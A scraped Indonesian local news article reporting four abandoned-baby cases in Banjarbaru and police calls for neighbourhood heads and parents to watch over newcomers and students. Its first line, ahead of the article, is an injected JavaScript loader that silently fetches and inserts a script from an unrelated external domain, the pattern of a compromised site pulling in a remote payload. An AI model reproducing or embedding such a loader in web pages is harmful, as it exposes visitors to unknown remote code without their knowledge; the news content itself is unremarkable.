(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Enam bulan terakhir 4 kasus bayi dibuang di Kota Banjarbaru dengan hanya 1 pelaku yang teridentifikasi.
Maraknya pembuangan bayi itu, Polres Banjarbaru meminta agar masyarakat terutama Ketua RT mengaktifkan fungsi pengawasan atau kontrol sosial.
Kapolres Banjarbaru, AKBP Dody Harza Kusumah melalui Kasi Humas Polres Banjarbaru Kompol Tajudin Noor mengatakan pengawasan Ketua RT setempat sangat diperlukan ketika adanya orang yang baru tinggal di lingkungan sekitar, terutama mahasiswa yang baru bermukim di Banjarbaru.
“Ketua RT dan Bhabinkamtibmas setempat bisa mendata jika ada penduduk yang baru masuk di lingkungannya,” katanya, Sabtu (29/4/2023).
Baca juga: Mantan Napi Bisa Daftar Bacaleg, KPU Kalsel Sebut Syarat yang Mesti Dipenuhi
Pihak kepolisian menduga saat ini banyak penduduk atau pemukim baru yang masih belum terdata dan melapor kepada Ketua RT setempat.
Selain itu, untuk pemburuan pelaku, Kompol Tajudin menegaskan Polres Banjarbaru masih memburu pelaku pembuangan 3 bayi yang belum terungkap.
“Kita terus usut dan penyelidikan tetap berjalan sampai saat ini,” tegasnya.
Dalam pengawasan lingkungan, Polres Banjarbaru kata Kompol Tajudin bekerjasama dengan Satuan Polisi Pamong Praja (Satpol PP) Banjarbaru dan Dinsos Sosial (Dinsos) Kota Banjarbaru agar kasus pembuangan bayi tidak lagi terjadi di kota berjuluk Idaman ini.
Disebutkan Kompol Tajudin, peran orangtua juga sangat dibutuhkan dalam fungsi pengawasan. Terutama ketika anaknya tinggal di Banjarbaru untuk melanjutkan pendidikan atau bekerja. Orangtua tidak boleh lepas tangan dan membiarkan pergaulan bebas terhadap anaknya.
“Orangtua juga sangat berperan penting, orang tua harus sering mengecek anaknya,” imbaunya.
Baca juga: Lantik Dispersip, Ini Harapan Bupati Banjar
Lingkungan sekitar, sambung Kompol Tajudin, juga harus berperan aktif dalam kontrol sosial. Pengecekan dan pengawasan harus rutin dilakukan di lingkungan perumahan dan kos-kosan setempat.
“Jika ada yang mencurigakan langsung lapor kepada pihak berwenang, sekurangnya Ketua RT harus mendata orang yang tinggal disitu,” tutupnya.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More
This website uses cookies.